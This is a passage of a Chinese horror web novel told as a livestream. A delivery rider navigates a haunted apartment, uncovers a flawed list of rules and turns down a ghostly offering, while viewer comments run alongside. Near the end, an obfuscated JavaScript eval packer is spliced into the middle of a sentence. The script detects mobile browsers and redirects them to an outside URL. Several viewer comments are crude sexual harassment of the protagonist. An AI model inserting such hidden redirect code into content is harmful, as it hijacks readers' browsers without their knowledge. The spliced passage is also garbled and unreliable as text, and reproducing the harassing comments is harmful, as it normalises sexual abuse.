他低头,看着左手手背上那几道青黑色的指印,淤痕正在以肉眼可见的速度变淡,但冰冷的麻木感和隐约的刺痛并未消失,反而像是渗进了皮肤下面,他活动了一下手指,关节灵活,并无大碍。 他突然蹲了下来。 17.红月公寓·骑手送餐手册5 谢秋慈将两张纸币分开,平放在肮脏的水泥地面上,手机手电的光集中照射过去。 五元真钞是旧版,头像有些模糊,冥币印刷粗糙,面额是骇人的“壹亿元”,背景画着粗陋的阁楼轿子。 他的目光落在真钞的背面,空白处,靠近边缘的地方,有几道痕迹,不仔细看根本注意不到。 那是指痕,有细微的纹路,像是有人用指尖蘸着某种液体,颤抖地仓促地划上去的,组成两个歪歪扭扭、几乎散架的字: 救我 字迹极度凌乱,最后一笔甚至拖出了一道无力的划痕,显示出书写者当时的虚弱,恐惧和急迫。 谢秋慈盯着那两个字看了几秒,他抬起头,声音不高,但在咀嚼声和啜泣声的间隙里,清晰得让门内门外的“听众”都能听见:“姐。” 咀嚼声和啜泣声,毫无征兆地同时停了。 安静再次笼罩,比之前更沉重,更令人窒息,仿佛有无数双看不见的眼睛,瞬间钉在了门外蹲着的年轻人身上。 谢秋慈毫无所觉,他用两根手指拈起地上那张冥币,在门缝前晃了晃,语气寻常得像是在菜市场指出老板缺斤少两:“钱给错了,有冥币。” “……” 门内一片死寂。 几秒后,或许是十几秒——在极致的安静和紧绷中,时间感变得模糊,那只惨白浮肿,指甲漆黑的手,再次从门缝下方伸了出来。 这次动作更快,更僵硬,带着一种压抑难以名状的怒气,手指精准地捏住了谢秋慈指尖晃动的冥币边缘,猛地一抽,冥币被抽回门内。 然后,另一张皱巴巴,边缘破损的五元真钞被粗暴地塞了出来,扔在谢秋慈脚边,纸币在地上弹了一下,沾满了灰尘。 手再次缩回,门也被“砰”一声关上。 谢秋慈弯腰,捡起那张新的五元钞票,仔细看了看正面反面,确认是真正的货币,没有血迹,没有字迹。 他将其与之前那张写着“救我”的五元钞票分开,叠好放入骑手马甲的内袋。 然后他站起身,拍了拍手上并不存在的灰尘,对着那扇紧闭的木门,用毫无感情的客服语气说道:“外卖已送达记得在平台点五星好评哟。” 说完,他转身,对已经吓傻,只会瞪着眼的王实偏了偏头:“走吧。” 王实吞咽了口唾沫,连滚爬地跟上,几乎贴着谢秋慈的后背,恨不得把自己缩成一团。 【给错冥币他还敢说出来?是真不怕门后面的东西发怒,当场弄死他,还是单纯的蠢?】 【生死时速中不忘索要好评,打工人楷模了属于是。 【手背印子淡了点,但肯定还有事,厄运铃铛buff还在呢】 谢秋慈却没有立刻下楼,他左手插在马甲口袋里,指尖无意识地摩挲着口袋里那枚【裂口女的硬币】,右手举着手机,手电光仔细地扫过四楼走廊的墙壁、天花板、以及各个角落。 “你在找、找什么?”王实声音发颤,忍不住催促,“任务不是完成了吗?咱们快下去吧,这地方我一秒都不想多待!” “规则。”谢秋慈言简意赅,目光如鹰隼般掠过每一寸可疑的痕迹,“规则怪谈怎么可能没有规则?找不到,下不去。” “规、规则?”王实一愣,随即也反应过来,他强压恐惧,也学谢秋慈的样子,用手电光扫视周围,但光线抖得根本看不清细节。 就在两人走到四楼通往三楼的楼梯转角时,谢秋慈的手电光定格在了转角墙面一处略微向内凹陷的地方。 那里贴着一张纸。 纸质泛黄,边缘卷曲破损,沾满污渍和可疑的深色斑点,像是被贴在这里很久,经历了潮湿、灰尘和时间的侵蚀。 手电光聚焦,纸张顶端,是用红色印刷体印着的标题,颜色已经褪成暗褐色:《红月公寓外卖配送暂行规定》 下面是用黑色钢笔手写的条目,字迹工整却僵硬,透着一股公事公办的冰冷感: 1. 为保障住户休息,晚10点后,公寓只接受外卖配送,不接收任何快递。 2. 骑手进入公寓必须穿着平台指定制服,保持职业形象。 3. 送餐时,请勿与住户对视超过3秒,以免引起不必要的误会。 4. 为确保资金安全,骑手不得收取现金,只接受平台在线支付。 5. 如住户要求骑手进门协助,必须礼貌且坚决地拒绝。 6. 为维持楼道秩序,骑手在每层楼停留时间不得超过5分钟。 7. 所有配送服务需在凌晨3:33前完成,骑手应在此时间前离开公寓。 8. 本公寓并未修建地下车库,如您在楼内听到类似地下车库传来的引擎轰鸣声,请不要好奇,不要下去查看。 9. 感谢您的配合,祝您送餐愉快:) 最后那个笑脸符号,画得格外巨大,嘴角咧开,透着十足的诡异。 王实凑近,哆哆嗦嗦地看完,脸更白了,尤其是看到第7条“凌晨3:33前必须离开”时,他猛地抬起手机看时间,此时是凌晨1点52分。 时间似乎还充裕,但身处此地,每一分每一秒都煎熬。 “这、这都什么规定……”他声音发苦,“不能对视,不能进门,不能待久……还有那地下车库,这破楼连电梯都没有,哪来的车库?” 谢秋慈没说话,他拿出自己的手机,对着这张《暂行规定》拍了几张清晰的照片,指尖在手机屏幕上划过,将照片放大,目光落在第四条上。 “规则是错的。”他忽然开口。 “啊?”王实没反应过来。 谢秋慈抬起右手,食指和中指间,正夹着那两张五元面额的真钞,其中一张背面还带着褐色的“救我”字迹,他晃了晃钞票,发出轻微的沙沙声。 “第四条,”他语气平静无波,“‘骑手不得收取现金,只接受平台在线支付’。” “我刚收了现金。”他补充道,目光转向那扇紧闭的404门,“不是这顿饭的钱,毕竟客户已经在平台线上支付过麻辣烫的钱了,这应该算是小费?” 王实张大了嘴,愣了好几秒,才猛地明白过来,一股寒意顺着脊梁骨窜上后脑勺:“对,对,你刚收了钱!那这条规则……” “可能是假的,也可能是部分失效,”谢秋慈收起钞票,目光重新扫过整张规定,“你应该知道,怪谈里的规则未必全对,有时候甚至会出现互相矛盾的内容,未必适用于所有情况。” 这个发现并没有带来多少安慰,反而让王实更加不安,如果规则都不能全信,那他们该相信什么? “先离开这层。”谢秋慈率先迈步,走下通往三楼的楼梯。手背上的青黑指印已经淡得几乎看不见,但那冰冷的麻木感依旧缠绕不去,像一道无形的标记。 王实连忙跟上,几乎是踩着他的脚后跟下楼。 三楼走廊比四楼似乎更加昏暗,窗帘也拉得同样严实,空气里的烧焦味道似乎淡了些,取而代之的是灰尘堆积的气息。 两人刚刚走下最后一级台阶,踏上三楼的水泥地面,“吱呀……” 斜前方,302室那扇深绿色的,油漆剥落的木门,毫无征兆地向内打开了一条缝。 一个满头银发,梳得一丝不苟的老太太从门缝里探出了头。 她脸上带着一种老年人常见的,过分慈祥的笑容,嘴 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他紧张地看向谢秋慈,用眼神疯狂示意:拒绝!快拒绝!按规则来! 谢秋慈看着递到面前的浑浊水杯,微微低头,靠近杯子轻轻闻了闻。 从那杯“水”里飘散出来的不是茶垢味,不是土腥味,而是一种冰冷的,带着刺鼻化学药剂气息的…… 福尔马林。 常用于保存生物标本的福尔马林。 谢秋慈抬眼,目光越过老太太慈祥的笑脸,投向门内。 302室没有开大灯,只有客厅深处一盏小瓦数的灯泡散发着昏黄的光,借着那点光,能看见狭窄的客厅里摆着老旧的木质家具,沙发上盖着蕾丝防尘布。 而在客厅正中的一张方桌上,摆着一个相框。 里面是一个年轻男人的照片,笑容青涩,照片是黑白的,但依然能看出男人生前样貌端正。 而在黑白遗像的前方,桌面上,正正地摆着一个白瓷杯。 杯子里,有大半杯浑浊昏黄的液体,水底,沉着几根细长卷曲的黑色毛发。 与老太太此刻递出来的这杯,一模一样。 谢秋慈的目光在屋内那杯水和眼前这杯水之间,缓缓转了一个来回。 然后他伸出手,接过了老太太递来的杯子。 王实的心跳瞬间漏了一拍,差点叫出声。 老太太脸上的笑容加深了,眼角的皱纹堆得更密,浑浊的眼睛里似乎闪过一丝满意。 谢秋慈端着杯子,他手指摩挲着温凉的杯壁,抬起眼看向笑容慈祥的老太太,语气平静地开口:“谢谢。” 他顿了顿,在老太太笑容最盛时,话锋平稳地一转:“不过我不渴。” “这杯水……” 他微微侧头,目光再次精准地投向客厅桌上那杯摆在遗像前的水,然后转回来,看着老太太瞬间有些僵住的笑脸,清晰地说道:“……是给您儿子准备的吧?” 老太太脸上的慈祥笑容,如同劣质的面具,骤然凝固,然后寸寸龟裂。 【不是,他怎么什么东西都敢接啊?胆子太大了吧?!来者不拒吗?】 【就是要来者不拒才好,宴请八方,对我敞开大腿才方便我进入(羞涩)】 【……我真的很佩服你们这些随时随地都能歪话题的人,淫商奇高】 【等等,那杯水原来是祭品吗?给死人喝的?!】 【啧,小聪明。不过,惹怒这种“地缚灵”一样的住户,可未必比惹怒404的那位轻松哦。】 【主播快站着啊,一定不要跑哦嘻嘻嘻嘻】 18.红月公寓·骑手送餐手册6 “砰!” 302室的房门在老太太凝固的笑容中被用力摔上,撞击声在寂静的楼道里回荡,震得门框上的灰尘簸簸落下。 那杯浑浊的,带着福尔马林气味的“水”,连同老太太那张龟裂的慈祥面具,一同被隔绝在厚重的木门之后。 没有追逐战大逃杀,对方甚至没从门里出来,王实猛地松了口气,腿一软,后背重重靠在冰冷粗糙的墙壁上,额头上全是冷汗。 他看向谢秋慈,眼神里充满了后怕和一丝不解——既然看出了那水有问题,为什么还要接? 谢秋慈低头看了眼自己接过杯子的右手,指尖似乎还残留着瓷杯的温凉触感,以及那股若有若无的福尔马林气味,他屈伸了一下手指,关节灵活,没有任何异常。 手背上,之前被404门内那只手碰触留下的青黑指印,此刻已经淡得几乎看不见,只有皮肤下隐约残留着一丝冰麻的异样感,像扎进肉里的细冰碴。 【吓死我了,还以为老太太要发飙】 【规则说不让进门,但没说不让接东西,主播卡了个bug?】 【并非刻意卡bug,我觉得他只是单纯爱作死而已】 【厄运铃铛的“关照”才刚刚开始哦,接杯祭品水算什么,好戏在后头呢。让我看看,下次你会碰到什么?】 【地板上好像有东西,谢秋慈小心!】 庄静娴的弹幕混在一堆喧嚣中并不起眼,她紧紧盯着屏幕,手心冒汗,注意到302门口地面有些反光。 谢秋慈没看到弹幕,他收起手机,对还在喘气的王实偏了下头:“下楼。” 王实连忙跟上,恨不得抓住谢秋慈的衣角,两人一前一后,踩着布满灰尘的水泥台阶,向三楼到二楼的转角走去。 楼道里依旧只有两人压抑的呼吸和脚步声,手机手电的光束切开黑暗,照亮前方几级台阶和斑驳的绿色墙角,那些癫狂的文字在光线扫过时,如同蛰伏的阴影,沉默地注视着他们。 就在王实即将踏下最后几级台阶,来到二楼平台时,他脚底突然一滑,整个人猛地向前趔趄,手里抓着的手机脱手飞出,“啪”地一声摔在几米外的水泥地上。 谢秋慈反应极快,回身一把抓住王实挥舞的手臂,用力将他拽了回来,避免了他一头栽下楼梯摔死。 王实惊魂未定,心脏狂跳,倚着楼梯扶手,脸色煞白:“地、地上有水!” 谢秋慈松开他,手电光向下照去。 果然,在二楼平台通往楼梯的几级台阶上,以及二楼平台靠近302方向的一小片地面,覆盖着一层薄薄的反着光的水渍。 而水渍的源头,清晰地从302室的门口延伸出来,沿着墙根,一直蔓延到楼梯口。 “刚、刚才上来的时候……是干的,”王实声音发颤,指着那水渍,眼神惊恐,“我记得清清楚楚,上来时这里没有水!” 谢秋慈蹲下身,闻到一股淡淡的腥味,混杂着更明显的,潮湿的泥土和某种水生植物腐烂的气息。 【是那个老太太搞的鬼?还是厄运铃铛的附加效果?】 【主播这腰,蹲下去那一下,圆润的线条绝了,想从后面……】 【??前面能不能别在恐怖直播里发情?】 【主播这张脸这身段,不就是给人意淫的?装什么清高。】 【就是,长得一副欠操样,还不让说了?】 王实手忙脚乱地捡起摔在地上的手机,屏幕碎了,但手电功能居然还能用,只是光线更暗,还时不时闪烁,他懊恼地拍打手机,脸上惊魂未定。 “走。”谢秋慈不再停留,迈过那片水渍,走向二楼走廊,刻意避开了水渍最集中的地方。 长长的走廊,两侧紧闭的房门,和他们上楼的时候看到的一模一样,并没有出现很明显的异常。 直到他们经过201室门口时—— “吱……” 极其轻微的门轴转动的声音。 201室,那扇深绿色的,漆皮剥落更严重的木门向内打开了一条缝隙,一只眼睛突兀地出现在门缝后面。 那是一只布满血丝,浑浊泛黄的眼睛,瞳孔很小,小到令人怀疑甚至没有瞳仁,大片的眼白直勾勾地透过门缝,死死地盯住了正在经过的谢秋慈和王实。 王实浑身一僵,脚步顿住,脖子像生了锈一样,一点点转向那只眼睛的方向。当他的目光与那只布满血丝的眼睛对上时,他猛地打了个寒颤,一股凉气从脚底板直冲天灵盖。 那只眼睛眨了眨。 眼皮开合的速度很慢,带着一种僵硬的质感,仿佛知道自己偷窥被发现了,“砰”一声轻响,门缝消失,201室重新恢复了与其他房门无异的紧闭状态,仿佛刚才那只窥视的眼睛,只是一个短暂的幻觉。 王实后背的冷汗已经浸透了内里的衣服,他牙齿开始不受控制地轻轻打颤,发出“咯咯”的细微声响。 谢秋慈只是淡淡地扫了201室的门牌一眼,脚步甚至没有停顿,继续向楼梯口走去。 王实挪动着发软的双腿,跟上了谢秋慈,两人沉默地走下最后一段楼梯,来到一楼。 单元门就在前方几米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511841|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处,锈蚀的铁门依旧半开着,门外是比楼内稍亮一些的灰蒙蒙的夜色,能看见小区里稀疏歪斜的树木轮廓,和远处围墙模糊的影子。 逃出生天的希望,似乎就在眼前。 王实精神一振,加快脚步,甚至想越过谢秋慈冲向门口。 但他刚迈出两步,谢秋慈却突然伸手,拦在了他身前。 “等等。”谢秋慈的声音压得很低。 王实愕然停步,顺着谢秋慈的视线,望向单元门外。 原本空无一人的小区院子里,靠近那处杂草丛生的圆形花坛边,不知何时多了一个人影。 那人背对着单元门,坐在花坛冰冷的水泥边缘,低着头,肩膀微微缩着,隔一会儿便轻微且规律地抽动一下,像是在啜泣,又像是在忍受某种痛苦。 他身上穿着荧光黄的骑手马甲,背后印着模糊的平台logo,脚边放着一个半旧的,标有外卖平台标志的保温箱。 是同行。 王实眼睛一亮,紧绷的神经稍稍放松,甚至涌起一股“找到组织”的亲切感,他下意识就想开口打招呼,问问对方是不是也被困在这里,或者知不知道怎么出去。 “别过去。”谢秋慈的声音再次响起。 “为、为什么?”王实不解,声音同样压得很低,“那是咱们平台的骑手啊!说不定……” 他的话没能说完,因为谢秋慈已经摸出自己的手机,点亮屏幕。 屏幕上显示的时间,清晰地映入两人眼帘:【01:15】 王实眨了眨眼,一时没反应过来,用口型问谢秋慈:“咋了?” 谢秋慈微微抬起下巴,露出一段白皙的脖颈,示意王实跟着自己看向的方向望过去,他的目光越过那个坐在花坛边抽动肩膀的背影,投向单元门内侧旁边的墙壁。 那里挂着一个老式的圆形机械钟,钟面是白色的,数字是黑色的,指针是红色的,在七八十年代的老楼里很常见。 此时,钟的时针和分针,正不偏不倚地指向——1点15分。 而那只红色的秒针并没有静止,它在极其轻微地颤动着,仿佛在努力挣脱某种无形的束缚,想要向前跳动。 但每一次颤抖,都只是徒劳地在原地画着微小的圆弧,始终无法挪动到下一个刻度。 时间,仿佛被钉死在了这个时刻。 王实的瞳孔骤然收缩。 他终于意识到哪里不对劲了,他是凌晨一点十七分左右接到强制订单,然后骑车赶来,取餐,再上楼……这一系列事情做完,怎么可能才过去……负两分钟?!